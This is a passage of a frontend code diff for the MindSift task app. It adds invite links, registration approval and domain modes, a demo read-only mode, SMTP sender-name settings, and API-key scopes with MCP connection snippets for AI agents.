@@ -102,6 +113,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
     smtpUser: '',
     smtpPass: '',
     smtpFrom: '',
+    smtpFromName: '',
     smtpTls: true,
     smtpSkipVerify: false,
     smtpConfiguredViaEnv: false,
@@ -126,12 +138,19 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
         setSettings({
           sharingMode: sys.sharingMode || 'organizations',
           allowRegistration: Boolean(sys.allowRegistration),
+          registrationMode: sys.registrationMode || (sys.allowRegistration ? 'open' : 'closed'),
+          registrationDomains: sys.registrationDomains || '',
+          registrationConfiguredViaEnv: Boolean(sys.registrationConfiguredViaEnv),
+          registrationVerifyEmail: Boolean(sys.registrationVerifyEmail),
+          registrationVerifyConfiguredViaEnv: Boolean(sys.registrationVerifyConfiguredViaEnv),
+          emailLinksAvailable: Boolean(sys.emailLinksAvailable),
           instanceName: sys.instanceName || 'MindSift',
           smtpHost: sys.smtpHost || '',
           smtpPort: sys.smtpPort ? String(sys.smtpPort) : '587',
           smtpUser: sys.smtpUser || '',
           smtpPass: sys.smtpPass || '',
           smtpFrom: sys.smtpFrom || '',
+          smtpFromName: sys.smtpFromName || '',
           smtpTls: sys.smtpTls ?? true,
           smtpSkipVerify: Boolean(sys.smtpSkipVerify),
           allowPrivateWebhooks: Boolean(sys.allowPrivateWebhooks),
@@ -146,8 +165,14 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
     }
   };
 
+  // Read-only in the public demo (FLAW-33)
+  const [demoMode, setDemoMode] = useState(false);
   useEffect(() => {
     loadAll();
+    api
+      .getAuthStatus()
+      .then((st) => setDemoMode(Boolean(st.demoMode)))
+      .catch(() => {});
   }, []);
 
   // ============================================================================
@@ -188,15 +213,19 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
     triggerHaptic(15);
     try {
       const inv = await api.adminCreateInvite({
-        email: inviteEmail.trim(),
+        email: inviteMaxUses > 1 ? '' : inviteEmail.trim(),
         role: inviteRole,
         organizationId: inviteOrg || undefined,
+        maxUses: inviteMaxUses,
       });
       setInvites((prev) => [inv, ...prev]);
       setInviteEmail('');
       setStatusMsg({
         type: 'ok',
-        text: `Einladungscode ${inv.code} erfolgreich erstellt.`,
+        text:
+          inv.maxUses > 1
+            ? `Einladungslink für ${inv.maxUses} Personen erstellt (${inv.code}).`
+            : `Einladungscode ${inv.code} erfolgreich erstellt.`,
       });
     } catch (err: any) {
       setStatusMsg({ type: 'err', text: err.message || 'Fehler beim Erstellen der Einladung' });
@@ -212,12 +241,45 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
     }
   };
 
-  const handleCopyInviteCode = (inv: UserInvite) => {
-    navigator.clipboard.writeText(inv.code);
+  // Copies the code or the link that opens the sign-up form with the code filled in
+  const inviteLink = (inv: UserInvite) => `${window.location.origin}/?invite=${encodeURIComponent(inv.code)}`;
+  const [copiedWhat, setCopiedWhat] = useState<'code' | 'link'>('code');
+  const handleCopyInvite = (inv: UserInvite, what: 'code' | 'link') => {
+    navigator.clipboard.writeText(what === 'link' ? inviteLink(inv) : inv.code);
+    setCopiedWhat(what);
     setCopiedInviteId(inv.id);
     setTimeout(() => setCopiedInviteId(null), 2000);
   };
 
+  const handleSendInvite = async (inv: UserInvite) => {
+    if (!mailInviteTo.trim()) return;
+    setMailInviteBusy(true);
+    setStatusMsg(null);
+    try {
+      const updated = await api.adminSendInvite(inv.id, mailInviteTo.trim());
+      setInvites((prev) => prev.map((i) => (i.id === inv.id ? { ...i, ...updated } : i)));
+      setStatusMsg({ type: 'ok', text: `Einladung an ${mailInviteTo.trim()} verschickt.` });
+      setMailInviteId(null);
+      setMailInviteTo('');
+    } catch (err: any) {
+      setStatusMsg({ type: 'err', text: err.message || 'Einladung konnte nicht verschickt werden' });
+    } finally {
+      setMailInviteBusy(false);
+    }
+  };
+
+  // Registrations waiting for approval (registration mode "Mit Freigabe")
+  const handleApproveUser = async (u: User) => {
+    setStatusMsg(null);
+    try {
+      const updated = await api.adminApproveUser(u.id);
+      setUsers((prev) => prev.map((item) => (item.id === u.id ? { ...updated, pendingApproval: false } : item)));
+      setStatusMsg({ type: 'ok', text: `${u.displayName} ist freigeschaltet.` });
+    } catch (err: any) {
+      setStatusMsg({ type: 'err', text: err.message });
+    }
+  };
+
   const handleChangeUserRole = async (u: User, role: UserRole) => {
     setStatusMsg(null);
     try {
@@ -264,7 +326,9 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
   const handleDeleteUser = async (u: User) => {
     if (
       !window.confirm(
-        `Benutzer "${u.displayName}" (${u.email}) wirklich unwiderruflich löschen?`
+        u.pendingApproval
+          ? `Registrierung von "${u.displayName}" (${u.email}) ablehnen? Das Konto wird gelöscht.`
+          : `Benutzer "${u.displayName}" (${u.email}) wirklich unwiderruflich löschen?`
       )
     )
       return;
@@ -519,6 +583,15 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
 
         {/* Right Content Area */}
         <div className="md:col-span-3 panel-surface p-5 text-xs">
+          {demoMode && (
+            <div className="flex items-center gap-2 alert-err mb-4">
+              <AlertCircle className="w-4 h-4 text-status-err flex-shrink-0" />
+              <span>
+                In der Demo deaktiviert: Server-Einstellungen, E-Mail und Konten lassen sich hier nur
+                ansehen.
+              </span>
+            </div>
+          )}
           {/* ================================================================= */}
           {/* SECTION 1: BENUTZER, ROLLEN & EINLADUNGEN */}
           {/* ================================================================= */}
@@ -624,26 +697,45 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
               <div className="p-4 bg-canvas border border-border rounded-card space-y-3">
                 <h3 className="font-bold text-main flex items-center gap-1.5">
                   <KeyRound className="w-3.5 h-3.5 text-accent" />
-                  <span>Einladungscode erzeugen (gültig für 7 Tage)</span>
+                  <span>Einladung erzeugen (gültig für 7 Tage)</span>
                 </h3>
 
                 <form onSubmit={handleCreateInvite} className="space-y-3">
-                  <div className="grid grid-cols-1 sm:grid-cols-3 gap-3">
+                  {/* E-mail gets the room, "how often" only needs a few digits */}
+                  <div
+                    className={`grid grid-cols-1 gap-3 ${
+                      isServerAdmin ? 'sm:grid-cols-[minmax(0,2fr)_8rem_minmax(0,1fr)_minmax(0,1fr)]' : 'sm:grid-cols-[minmax(0,2fr)_8rem_minmax(0,1fr)]'
+                    }`}
+                  >
                     <div className="min-w-0">
                       <label className="block text-muted mb-1">
                         Gebundene E-Mail (optional)
                       </label>
                       <input
                         type="email"
-                        value={inviteEmail}
+                        value={inviteMaxUses > 1 ? '' : inviteEmail}
                         onChange={(e) => setInviteEmail(e.target.value)}
-                        placeholder="Leer lassen für beliebige E-Mail"
+                        disabled={inviteMaxUses > 1}
+                        placeholder={inviteMaxUses > 1 ? 'Nur bei einmaliger Einladung' : 'Leer lassen für beliebige E-Mail'}
+                        className="w-full min-w-0 h-8 px-2.5 input-field disabled:opacity-60"
+                      />
+                    </div>
+
+                    <div className="min-w-0">
+                      <label className="block text-muted mb-1 whitespace-nowrap">Wie oft verwendbar</label>
+                      <input
+                        type="number"
+                        min={1}
+                        max={1000}
+                        value={inviteMaxUses}
+                        onChange={(e) => setInviteMaxUses(Math.max(1, Math.min(1000, parseInt(e.target.value, 10) || 1)))}
+                        title="1 = ein Code für eine Person; mehr = ein Link für eine ganze Gruppe"
                         className="w-full min-w-0 h-8 px-2.5 input-field"
                       />
                     </div>
 
                     <div className="min-w-0">
-                      <label className="block text-muted mb-1">Zugewiesene Server-Rolle</label>
+                      <label className="block text-muted mb-1">Rolle</label>
                       <select
                         value={inviteRole}
                         onChange={(e) => setInviteRole(e.target.value as UserRole)}
@@ -679,7 +771,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
                       className="btn-action h-8 px-4 text-xs font-semibold flex items-center gap-1.5 border-accent text-main"
                     >
                       <KeyRound className="w-3.5 h-3.5 text-accent" />
-                      <span>Einladungscode generieren</span>
+                      <span>{inviteMaxUses > 1 ? `Einladungslink für ${inviteMaxUses} Personen erzeugen` : 'Einladungscode generieren'}</span>
                     </button>
                   </div>
                 </form>
@@ -691,12 +783,15 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
                       Aktive & bisherige Einladungscodes:
                     </p>
                     <div className="divide-y divide-border border border-border bg-panel rounded-card overflow-hidden">
-                      {invites.map((inv) => (
-                        <div
-                          key={inv.id}
-                          className="p-2 flex flex-wrap items-center justify-between gap-2"
-                        >
-                          <div className="flex items-center gap-2.5">
+                      {invites.map((inv) => {
+                        const maxUses = inv.maxUses || 1;
+                        const used = inv.useCount ?? (inv.usedBy ? 1 : 0);
+                        const open = used < maxUses && new Date(inv.expiresAt).getTime() > Date.now();
+                        const copied = copiedInviteId === inv.id;
+                        return (
+                          <div key={inv.id} className="p-2 space-y-2">
+                            <div className="flex flex-wrap items-center justify-between gap-2">
+                              <div className="flex flex-wrap items-center gap-2.5 min-w-0">
                                 <code className="px-2 py-0.5 bg-canvas border border-border font-mono font-bold text-accent rounded-card">
                                   {inv.code}
                                 </code>
@@ -704,27 +799,48 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
                                   Rolle: <strong className="text-main">{inv.role}</strong>
                                   {inv.email ? ` · Für: ${inv.email}` : ''}
                                   {inv.organizationName ? ` · ${inv.organizationName}` : ''}
+                                  {maxUses > 1 ? ` · ${used} von ${maxUses} verwendet` : ''}
                                 </span>
-                            {inv.usedBy ? (
-                              <span className="badge-neutral text-[10px]">
-                                Eingelöst
-                              </span>
+                                {open ? (
+                                  <span className="badge-ok text-[10px]">Offen</span>
                                 ) : (
-                              <span className="badge-ok text-[10px]">
-                                Offen
-                              </span>
+                                  <span className="badge-neutral text-[10px]">{used >= maxUses ? 'Eingelöst' : 'Abgelaufen'}</span>
                                 )}
                               </div>
 
-                          <div className="flex items-center gap-1.5">
-                            {!inv.usedBy && (
+                              <div className="flex flex-wrap items-center gap-1.5">
+                                {open && (
+                                  <>
                                     <button
-                                onClick={() => handleCopyInviteCode(inv)}
+                                      type="button"
+                                      onClick={() => handleCopyInvite(inv, 'link')}
+                                      className="btn-action h-7 px-2 text-[11px] flex items-center gap-1"
+                                      title={inviteLink(inv)}
+                                    >
+                                      <Link2 className="w-3 h-3" />
+                                      <span>{copied && copiedWhat === 'link' ? 'Kopiert!' : 'Link kopieren'}</span>
+                                    </button>
+                                    <button
+                                      type="button"
+                                      onClick={() => handleCopyInvite(inv, 'code')}
                                       className="btn-action h-7 px-2 text-[11px] flex items-center gap-1"
                                     >
                                       <Copy className="w-3 h-3" />
-                                <span>{copiedInviteId === inv.id ? 'Kopiert!' : 'Code kopieren'}</span>
+                                      <span>{copied && copiedWhat === 'code' ? 'Kopiert!' : 'Code'}</span>
                                     </button>
+                                    <button
+                                      type="button"
+                                      onClick={() => {
+                                        setMailInviteId(mailInviteId === inv.id ? null : inv.id);
+                                        setMailInviteTo(inv.email || '');
+                                      }}
+                                      className="btn-action h-7 px-2 text-[11px] flex items-center gap-1"
+                                      title="Einladung per E-Mail verschicken"
+                                    >
+                                      <Mail className="w-3 h-3" />
+                                      <span>Per E-Mail</span>
+                                    </button>
+                                  </>
                                 )}
                                 <button
                                   onClick={() => handleDeleteInvite(inv.id)}
@@ -735,19 +851,100 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
                                 </button>
                               </div>
                             </div>
-                      ))}
+                            {mailInviteId === inv.id && (
+                              <form
+                                onSubmit={(e) => {
+                                  e.preventDefault();
+                                  void handleSendInvite(inv);
+                                }}
+                                className="flex flex-wrap items-center gap-2"
+                              >
+                                <input
+                                  type="email"
+                                  value={mailInviteTo}
+                                  onChange={(e) => setMailInviteTo(e.target.value)}
+                                  readOnly={Boolean(inv.email)}
+                                  placeholder="name@beispiel.de"
+                                  required
+                                  autoFocus
+                                  className="flex-1 min-w-[12rem] h-8 px-2.5 input-field"
+                                />
+                                <button
+                                  type="submit"
+                                  disabled={mailInviteBusy}
+                                  className="btn-primary h-8 px-3 text-xs font-semibold flex items-center gap-1.5 disabled:opacity-50"
+                                >
+                                  <Send className="w-3.5 h-3.5" />
+                                  <span>{mailInviteBusy ? 'Sende…' : 'Einladung senden'}</span>
+                                </button>
+                                {maxUses === 1 && !inv.email && (
+                                  <span className="w-full text-[11px] text-faint">Die Einladung gilt danach nur noch für diese Adresse.</span>
+                                )}
+                              </form>
+                            )}
+                          </div>
+                        );
+                      })}
                     </div>
                   </div>
                 )}
               </div>
 
+              {/* Registrations waiting for approval */}
+              {users.some((u) => u.pendingApproval) && (
+                <div className="space-y-2">
+                  <h3 className="font-bold text-main flex items-center gap-1.5">
+                    <Clock className="w-3.5 h-3.5 text-status-warn" />
+                    Wartet auf Freigabe ({users.filter((u) => u.pendingApproval).length})
+                  </h3>
+                  <div className="border border-status-warn/40 divide-y divide-border bg-canvas rounded-card overflow-hidden">
+                    {users
+                      .filter((u) => u.pendingApproval)
+                      .map((u) => (
+                        <div key={u.id} className="p-3 flex flex-col sm:flex-row sm:items-center justify-between gap-2">
+                          <div className="flex items-center gap-2.5 min-w-0">
+                            <UserAvatar user={u} size="sm" className="border border-border/80" />
+                            <div className="min-w-0">
+                              <p className="font-bold text-main truncate flex items-center gap-2">
+                                {u.displayName}
+                                {u.emailUnverified && <span className="badge-neutral text-[10px] font-normal">E-Mail unbestätigt</span>}
+                              </p>
+                              <p className="text-muted text-[11px] truncate">
+                                {u.email} · registriert am {new Date(u.createdAt).toLocaleDateString('de-DE')}
+                              </p>
+                            </div>
+                          </div>
+                          <div className="flex items-center gap-2 shrink-0">
+                            <button
+                              type="button"
+                              onClick={() => void handleApproveUser(u)}
+                              className="btn-primary h-11 sm:h-8 px-3 text-xs font-semibold flex items-center gap-1.5"
+                            >
+                              <Check className="w-3.5 h-3.5" />
+                              Freigeben
+                            </button>
+                            <button
+                              type="button"
+                              onClick={() => void handleDeleteUser(u)}
+                              className="btn-action h-11 sm:h-8 px-3 text-xs flex items-center gap-1.5 hover:text-status-err"
+                            >
+                              <X className="w-3.5 h-3.5" />
+                              Ablehnen
+                            </button>
+                          </div>
+                        </div>
+                      ))}
+                  </div>
+                </div>
+              )}
+
               {/* Users List */}
               <div className="space-y-2">
                 <h3 className="font-bold text-main">
-                  Registrierte Benutzer ({users.length})
+                  Registrierte Benutzer ({users.filter((u) => !u.pendingApproval).length})
                 </h3>
                 <div className="border border-border divide-y divide-border bg-canvas rounded-card overflow-hidden">
-                  {users.map((u) => (
+                  {users.filter((u) => !u.pendingApproval).map((u) => (
                     <div key={u.id} className="p-3 space-y-2">
                       <div className="flex flex-col sm:flex-row sm:items-center justify-between gap-2">
                         <div className="flex items-center gap-2.5">
@@ -756,8 +953,8 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
                             <div className="flex items-center gap-2">
                               <span className="font-bold text-main">{u.displayName}</span>
                               {!u.isActive && (
-                                <span className="badge-err text-[10px]">
-                                  Gesperrt
+                                <span className={`${u.emailUnverified ? 'badge-neutral' : 'badge-err'} text-[10px]`}>
+                                  {u.emailUnverified ? 'E-Mail unbestätigt' : 'Gesperrt'}
                                 </span>
                               )}
                             </div>
@@ -1013,6 +1210,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
           {/* SECTION 3: SERVER & SHARING-ISOLATION (SERVER-ADMIN ONLY) */}
           {/* ================================================================= */}
           {section === 'server' && isServerAdmin && (
+            <fieldset disabled={demoMode} className="min-w-0 border-0 p-0 m-0">
               <div className="space-y-6">
                 <div className="border-b border-border pb-3">
                   <h2 className="text-sm font-bold text-main">
@@ -1099,6 +1297,8 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
 
                   <BackupAdminCard settings={settings} onSave={(patch) => handleSaveSystemSettings(patch)} />
 
+                  <VoiceStatusCard />
+
                   {/* Alarm webhooks into the local network (SSRF protection) */}
                   <div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
                     <div className="pr-4">
@@ -1115,35 +1315,92 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
                     />
                   </div>
 
-                {/* Public Registration Toggle Switch */}
-                <div className="p-4 bg-canvas border border-border rounded-card flex items-center justify-between gap-4">
-                  <div className="pr-4">
-                    <p className="font-bold text-main">Öffentliche Selbstregistrierung erlauben</p>
+                  {/* Who may register without an invite */}
+                  {(() => {
+                    const mode = settings.registrationMode || 'closed';
+                    const locked = Boolean(settings.registrationConfiguredViaEnv);
+                    const needsDomains = mode === 'domain' || mode === 'domain+approval';
+                    return (
+                      <div className="p-4 bg-canvas border border-border rounded-card space-y-3">
+                        <div>
+                          <p className="font-bold text-main">Registrierung ohne Einladung</p>
                           <p className="text-[11px] text-muted mt-0.5">
-                      Wenn deaktiviert, können sich fremde Personen auf dem Login-Bildschirm nicht selbst registrieren.
-                      Neue Konten erfordern dann zwingend einen Einladungscode oder müssen von einem Admin angelegt werden.
+                            Wer sich auf dem Login-Bildschirm selbst ein Konto anlegen darf. Einladungslinks und -codes funktionieren
+                            immer. Wartende Konten gibst du unter „Benutzer &amp; Einladungen“ frei.
                           </p>
                         </div>
-
-                  <div className="flex items-center gap-3 flex-shrink-0">
-                    <span className={`text-xs font-medium hidden sm:inline ${settings.allowRegistration ? 'text-accent' : 'text-muted'}`}>
-                      {settings.allowRegistration ? 'Aktiviert (Offen)' : 'Gesperrt (Nur Einladung)'}
-                    </span>
+                        <select
+                          value={mode}
+                          disabled={locked}
+                          onChange={(e) => handleSaveSystemSettings({ registrationMode: e.target.value as RegistrationMode })}
+                          className="w-full h-11 sm:h-8 px-2.5 input-field text-base sm:text-xs disabled:opacity-60"
+                        >
+                          <option value="closed">Geschlossen – nur mit Einladung</option>
+                          <option value="approval">Mit Freigabe – jeder darf sich registrieren, ein Admin schaltet frei</option>
+                          <option value="domain">Nur bestimmte E-Mail-Endungen – sofort aktiv</option>
+                          <option value="domain+approval">Endungen sofort, alle anderen nach Freigabe</option>
+                          <option value="open">Offen – jeder, sofort aktiv</option>
+                        </select>
+                        {needsDomains && (
+                          <label className="block text-[11px] text-muted">
+                            Erlaubte E-Mail-Endungen (durch Komma getrennt, <code className="font-mono">*.firma.de</code> auch für Subdomains)
+                            <input
+                              type="text"
+                              disabled={locked}
+                              value={settings.registrationDomains || ''}
+                              onChange={(e) => setSettings((prev) => ({ ...prev, registrationDomains: e.target.value }))}
+                              onBlur={() => handleSaveSystemSettings()}
+                              placeholder="firma.de, familie-dach.de"
+                              className="block w-full mt-1 h-11 sm:h-8 px-2.5 input-field font-mono text-base sm:text-xs disabled:opacity-60"
+                            />
+                          </label>
+                        )}
+                        {locked && (
+                          <p className="text-[11px] text-status-warn">
+                            Über die Umgebung festgelegt (<code className="font-mono">REGISTRATION_MODE</code> /{' '}
+                            <code className="font-mono">REGISTRATION_DOMAINS</code>) und hier nicht änderbar.
+                          </p>
+                        )}
+                        {mode !== 'closed' && (
+                          <div className="pt-3 border-t border-border flex items-start justify-between gap-4">
+                            <div className="pr-2">
+                              <p className="font-semibold text-main">E-Mail-Adresse bestätigen lassen</p>
+                              <p className="text-[11px] text-muted mt-0.5">
+                                Neue Konten ohne Einladung bekommen einen Link per E-Mail und sind erst danach aktiv (bei Freigabe
+                                landen sie danach bei dir). Unbestätigte Konten werden nach 48 Stunden gelöscht.
+                              </p>
+                              {!settings.emailLinksAvailable && (
+                                <p className="text-[11px] text-status-warn mt-1">
+                                  Wirkt erst mit eingerichtetem Mail-Server und gesetzter <code className="font-mono">BASE_URL</code>.
+                                </p>
+                              )}
+                              {settings.registrationVerifyConfiguredViaEnv && (
+                                <p className="text-[11px] text-status-warn mt-1">
+                                  Über <code className="font-mono">REGISTRATION_VERIFY_EMAIL</code> festgelegt.
+                                </p>
+                              )}
+                            </div>
                             <ToggleSwitch
-                      checked={settings.allowRegistration}
-                      onChange={(allowRegistration) => handleSaveSystemSettings({ allowRegistration })}
-                      title={settings.allowRegistration ? 'Selbstregistrierung deaktivieren' : 'Selbstregistrierung aktivieren'}
+                              checked={Boolean(settings.registrationVerifyEmail)}
+                              disabled={Boolean(settings.registrationVerifyConfiguredViaEnv)}
+                              onChange={(registrationVerifyEmail) => handleSaveSystemSettings({ registrationVerifyEmail })}
+                              title="E-Mail-Adresse bei der Registrierung bestätigen lassen"
                             />
                           </div>
+                        )}
+                      </div>
+                    );
+                  })()}
                 </div>
               </div>
-            </div>
+            </fieldset>
           )}
 
           {/* ================================================================= */}
           {/* SECTION 4: E-MAIL / SMTP-SERVER (SERVER-ADMIN ONLY) */}
           {/* ================================================================= */}
           {section === 'smtp' && isServerAdmin && (
+            <fieldset disabled={demoMode} className="min-w-0 border-0 p-0 m-0">
               <div className="space-y-6">
                 <div className="border-b border-border pb-3 flex flex-col sm:flex-row sm:items-center justify-between gap-2">
                   <div>
@@ -1221,7 +1478,8 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
                       onChange={(e) =>
                         setSettings((prev) => ({ ...prev, smtpPass: e.target.value }))
                       }
-                    placeholder="••••••••••••"
+                      placeholder={settings.smtpPassSet ? 'Gespeichert – leer lassen für keine Änderung' : '••••••••••••'}
+                      autoComplete="new-password"
                       className="w-full h-9 px-3 input-field font-mono"
                     />
                   </div>
@@ -1236,11 +1494,30 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
                       onChange={(e) =>
                         setSettings((prev) => ({ ...prev, smtpFrom: e.target.value }))
                       }
-                    placeholder="MindSift <alerts@deinedomain.de>"
+                      placeholder="alerts@deinedomain.de"
                       className="w-full h-9 px-3 input-field"
                     />
                   </div>
 
+                  <div>
+                    <label className="block text-muted font-medium mb-1">
+                      Absender-Name (`SMTP_FROM_NAME`)
+                    </label>
+                    <input
+                      type="text"
+                      value={settings.smtpFromName || ''}
+                      onChange={(e) =>
+                        setSettings((prev) => ({ ...prev, smtpFromName: e.target.value }))
+                      }
+                      placeholder="MindSift"
+                      className="w-full h-9 px-3 input-field"
+                    />
+                    <p className="text-[11px] text-faint mt-1">
+                      Erscheint beim Empfänger als Absender. Leer = „MindSift“; ein Name direkt in der Adresse
+                      („Name &lt;adresse&gt;“) hat Vorrang.
+                    </p>
+                  </div>
+
                   <div className="sm:col-span-2 space-y-3 pt-1">
                     <div className="flex items-center justify-between gap-3">
                       <div>
@@ -1307,6 +1584,7 @@ export const AdminSettingsView: React.FC<AdminSettingsViewProps> = ({
                   </div>
                 </div>
               </div>
+            </fieldset>
           )}
         </div>
       </div>

frontend/src/features/settings/ApiKeysPanel.tsx

@@ -8,31 +8,41 @@ import {
   Webhook,
   Zap,
   Terminal,
+  Bot,
 } from 'lucide-react';
 import { APIKey, ApiKeyScope, PriorityLevel, SharedList, TaskList } from '../../lib/types';
 import { api, triggerHaptic } from '../../lib/api';
+import { ToggleSwitch } from '../../components/ToggleSwitch';
 
 interface ApiKeysPanelProps {
   onIngested?: () => void;
 }
 
-// What a key may deliver; keys never read anything
-const SCOPES: { id: ApiKeyScope; label: string; hint: string }[] = [
-  { id: 'webhook:triage', label: '📥 Triage / Inbox', hint: 'Gedanken in die Inbox' },
-  { id: 'webhook:task', label: '📋 Aufgaben', hint: 'Aufgaben direkt anlegen' },
-  { id: 'webhook:list', label: '📝 Listeneinträge', hint: 'Einträge zu Listen hinzufügen' },
+// What a key may do: deliver data (webhooks) or read and change tasks and lists for AI agents (MCP)
+const SCOPES: { id: ApiKeyScope; label: string; hint: string; group: 'webhook' | 'agent' }[] = [
+  { id: 'webhook:triage', label: '📥 Triage / Inbox', hint: 'Gedanken in die Inbox einliefern', group: 'webhook' },
+  { id: 'webhook:task', label: '📋 Aufgaben anlegen', hint: 'Aufgaben direkt anlegen', group: 'webhook' },
+  { id: 'webhook:list', label: '📝 Listeneinträge anlegen', hint: 'Einträge zu Listen hinzufügen', group: 'webhook' },
+  { id: 'tasks:read', label: '📋 Aufgaben lesen', hint: 'Aufgabenlisten und Aufgaben lesen, suchen', group: 'agent' },
+  { id: 'tasks:write', label: '✅ Aufgaben ändern', hint: 'Aufgaben anlegen, ändern und abhaken', group: 'agent' },
+  { id: 'lists:read', label: '📝 Listen lesen', hint: 'Listen und ihre Einträge lesen', group: 'agent' },
+  { id: 'lists:write', label: '🛒 Listen ändern', hint: 'Einträge hinzufügen, ändern und abhaken', group: 'agent' },
 ];
 const scopeLabel = (id: string) => SCOPES.find((s) => s.id === id)?.label || id;
+const isAgentScope = (sc: string) => SCOPES.find((s) => s.id === sc)?.group === 'agent';
 
 type SimTarget = 'triage' | 'task' | 'list_item';
+type McpClient = 'claude' | 'codex' | 'json';
 
-// Personal API keys with scopes, a simulator and copyable examples (settings → Private Webhooks)
+// Personal API keys with scopes (switches), MCP connection snippets, a webhook simulator and copyable
+// examples (settings → Webhooks, KI-Agenten & Export)
 export const ApiKeysPanel: React.FC<ApiKeysPanelProps> = ({ onIngested }) => {
   const [keys, setKeys] = useState<APIKey[]>([]);
   const [newKeyName, setNewKeyName] = useState('');
   const [newKeyScopes, setNewKeyScopes] = useState<ApiKeyScope[]>(['webhook:triage']);
   const [newlyCreatedKey, setNewlyCreatedKey] = useState<string | null>(null);
   const [copiedKey, setCopiedKey] = useState(false);
+  const [mcpClient, setMcpClient] = useState<McpClient>('claude');
 
   // Live Webhook Simulator State
   const [simTitle, setSimTitle] = useState('Waschmaschine im Keller ist fertig!');
@@ -140,6 +150,26 @@ export const ApiKeysPanel: React.FC<ApiKeysPanelProps> = ({ onIngested }) => {
     "tags": ["smarthome", "keller"]
   }`;
 
+  const mcpUrl = `${baseUrl}/api/v1/mcp`;
+  const mcpSnippet =
+    mcpClient === 'claude'
+      ? `claude mcp add --transport http mindsift ${mcpUrl} \\
+  --header "X-API-Key: ${exampleToken}"`
+      : mcpClient === 'codex'
+      ? `# ~/.codex/config.toml
+[mcp_servers.mindsift]
+url = "${mcpUrl}"
+http_headers = { "X-API-Key" = "${exampleToken}" }`
+      : `{
+  "mcpServers": {
+    "mindsift": {
+      "type": "http",
+      "url": "${mcpUrl}",
+      "headers": { "X-API-Key": "${exampleToken}" }
+    }
+  }
+}`;
+
   return (
     <div className="space-y-6">
       {/* API keys */}
@@ -149,10 +179,10 @@ export const ApiKeysPanel: React.FC<ApiKeysPanelProps> = ({ onIngested }) => {
             <Key className="w-4 h-4" />
           </div>
           <div>
-            <h3 className="text-sm font-bold text-main">Webhooks & Ingestion API-Schlüssel</h3>
+            <h3 className="text-sm font-bold text-main">API-Schlüssel für Webhooks und KI-Agenten</h3>
             <p className="text-xs text-muted">
-              Verbinde Home Assistant, Zigbee2MQTT, n8n oder eigene Cronjobs mit MindSift. Ein Key kann nur Daten
-              einliefern, nie lesen; was genau, legst du pro Key fest.
+              Verbinde Home Assistant, n8n, eigene Skripte oder KI-Agenten (Claude Code, Codex …) mit MindSift. Was ein
+              Key darf, legst du pro Key fest; Notizen bleiben für Keys immer unerreichbar.
             </p>
           </div>
         </div>
@@ -171,28 +201,33 @@ export const ApiKeysPanel: React.FC<ApiKeysPanelProps> = ({ onIngested }) => {
               <span>API-Key erzeugen</span>
             </button>
           </div>
-          <div className="flex flex-wrap items-center gap-2" role="group" aria-label="Berechtigungen des Keys">
-            <span className="text-xs text-muted">Darf einliefern:</span>
-            {SCOPES.map((sc) => {
+          <div className="grid grid-cols-1 lg:grid-cols-2 gap-3" role="group" aria-label="Berechtigungen des Keys">
+            {(
+              [
+                ['webhook', 'Einliefern (Webhooks)', 'POST /api/v1/webhooks/ingest'],
+                ['agent', 'KI-Agenten (MCP)', 'POST /api/v1/mcp'],
+              ] as const
+            ).map(([group, heading, path]) => (
+              <div key={group} className="border border-border rounded-card bg-panel px-3 py-1.5">
+                <p className="text-[11px] text-muted pt-1 pb-0.5 flex flex-wrap justify-between gap-x-2">
+                  <span className="font-semibold">{heading}</span>
+                  <code className="font-mono">{path}</code>
+                </p>
+                {SCOPES.filter((sc) => sc.group === group).map((sc) => {
                   const on = newKeyScopes.includes(sc.id);
                   return (
-                <button
-                  key={sc.id}
-                  type="button"
-                  role="checkbox"
-                  aria-checked={on}
-                  title={sc.hint}
-                  onClick={() => toggleScope(sc.id)}
-                  className={`h-11 sm:h-8 px-3 rounded-btn border text-xs inline-flex items-center gap-1.5 transition-colors ${
-                    on ? 'border-accent bg-accent/10 text-main' : 'border-border text-muted hover:text-main'
-                  }`}
-                >
-                  {on && <Check className="w-3.5 h-3.5 text-accent" />}
-                  {sc.label}
-                </button>
+                    <div key={sc.id} className="flex items-center justify-between gap-3 min-h-[44px] sm:min-h-[36px]">
+                      <div className="min-w-0">
+                        <span className="block text-xs text-main">{sc.label}</span>
+                        <span className="block text-[11px] text-muted">{sc.hint}</span>
+                      </div>
+                      <ToggleSwitch checked={on} onChange={() => toggleScope(sc.id)} title={sc.label} />
+                    </div>
                   );
                 })}
               </div>
+            ))}
+          </div>
         </form>
 
         {newlyCreatedKey && (
@@ -222,7 +257,12 @@ export const ApiKeysPanel: React.FC<ApiKeysPanelProps> = ({ onIngested }) => {
                     .split(',')
                     .filter(Boolean)
                     .map((sc) => (
-                      <span key={sc} className="px-1.5 py-0.5 rounded-btn border border-border text-[10px] text-muted">
+                      <span
+                        key={sc}
+                        className={`px-1.5 py-0.5 rounded-btn border text-[10px] ${
+                          isAgentScope(sc) ? 'border-accent/40 text-accent' : 'border-border text-muted'
+                        }`}
+                      >
                         {scopeLabel(sc)}
                       </span>
                     ))}
@@ -245,6 +285,56 @@ export const ApiKeysPanel: React.FC<ApiKeysPanelProps> = ({ onIngested }) => {
         </div>
       </div>
 
+      {/* AI agents (MCP) */}
+      <div className="pt-4 border-t border-border">
+        <div className="flex items-center gap-3 mb-3">
